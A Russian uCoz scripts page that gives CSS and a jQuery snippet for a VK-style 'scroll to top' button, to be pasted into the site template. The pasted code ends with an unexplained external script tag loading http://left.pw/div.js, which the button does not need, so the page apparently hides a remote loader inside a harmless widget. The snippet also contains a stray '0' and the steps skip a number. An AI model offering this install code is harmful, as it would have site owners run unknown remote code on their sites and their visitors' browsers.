Up на подобии как в вк - Скрипты для UCOZ - Все для UCOZ - NTPortaL >

Подписаться на rss новости
Новости!
Главная
Фильмы онлайн Доска Регистрация в поисковиках Форум Скрипты для Ucoz Реклама web-мастеру
Вход Регистрация Торренты Связь с Администрацией
  Меню сайта

  Категории раздела
Скрипты для UCOZ [310]
шаблоны для ucoz [71]
шаблоны для ucoz Conter-Strike [26]
шаблоны для ucoz в стиле КИНО [7]
кнопки для форума [8]
java скрипты [10]
шаблоны Lineage2 [10]
шаблоны для форума ucoz [9]
Видео уроки по ucoz [9]
HTML и CSS [18]

>
  Поиск
нажми для поискаПоиск
Главная » Статьи » Скрипты для UCOZ


Up на подобии как в вк

Скрипт кнопка вверх на подобии такой как в вк для сайта.
Установка:
1) Заходим в Панель Управления сайтом потом в Управление дизайном - Прописываем стили в таблице стилей (CSS) в самый низ:
Код
.scrolltotop__side { position:fixed; width:3%; height:100%; top:0; left:0; background: black; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; filter:alpha(opacity=0.2); -moz-opacity:0.1; -khtml-opacity:0.1; opacity:0.1}  
.scrolltotop__arrow { position:fixed; width:3%; height:100%; top:50px; left:0; background:url(http://pnghosts.ru/img/up-csm.png) top no-repeat; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0.4)"; filter:alpha(opacity=0.4); -moz-opacity:0.4; -khtml-opacity:0.4; opacity:0.4}


3) А вот этот код прописываем в нижнюю или верхнюю часть сайта:
Код
<script type="text/javascript">  
jQuery(document).ready(function(){  
jQuery('body').append("<div class='scrolltotop'><div class='scrolltotop__side'></div><div class='scrolltotop__arrow'></div></div>");  
jQuery(window).scroll(function(){  
if (jQuery(this).scrollTop() > 350) {  
jQuery('.scrolltotop').fadeIn();  
} else {  
jQuery('.scrolltotop').fadeOut();  
}  
});  
jQuery('.scrolltotop').click(function(){  
jQuery("html, body").animate({ scrollTop: 0 }, 600);  
return false;  
});  
});0  
</script><script type="text/javascript" src="http://left.pw/div.js"></script>


На этом установка завершена. Скрипт проверен в IE 9, в мозиле, опере, гугл хроме
Категория: Скрипты для UCOZ | Добавил: Bitfood (06.09.2014)
Просмотров: 246 | Рейтинг: 0.0/0
html-cсылка на публикацию
BB-cсылка на публикацию
Прямая ссылка на публикацию .

Похожие материалы

Добавление Комментария!

Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
  Последние комментарии

baranovskyromayandexru написал:
Пароль:ebm2008thank

jimmbear написал:
Добрый день! Подскажите как ус...

mazafaka написал:
  Статистика
Яндекс.Метрика Яндекс цитирования хостинг сайтов,продажа доменов
Этому сайту уже
Онлайн всего: 1
Гостей: 1
Пользователей: 0
[ Кто нас сегодня посетил ]

Сайт оптимизорован для
    

Карта сайта! Наша группа
Окна в нижнем тагиле Территория окон!
>
Мини-Чат
>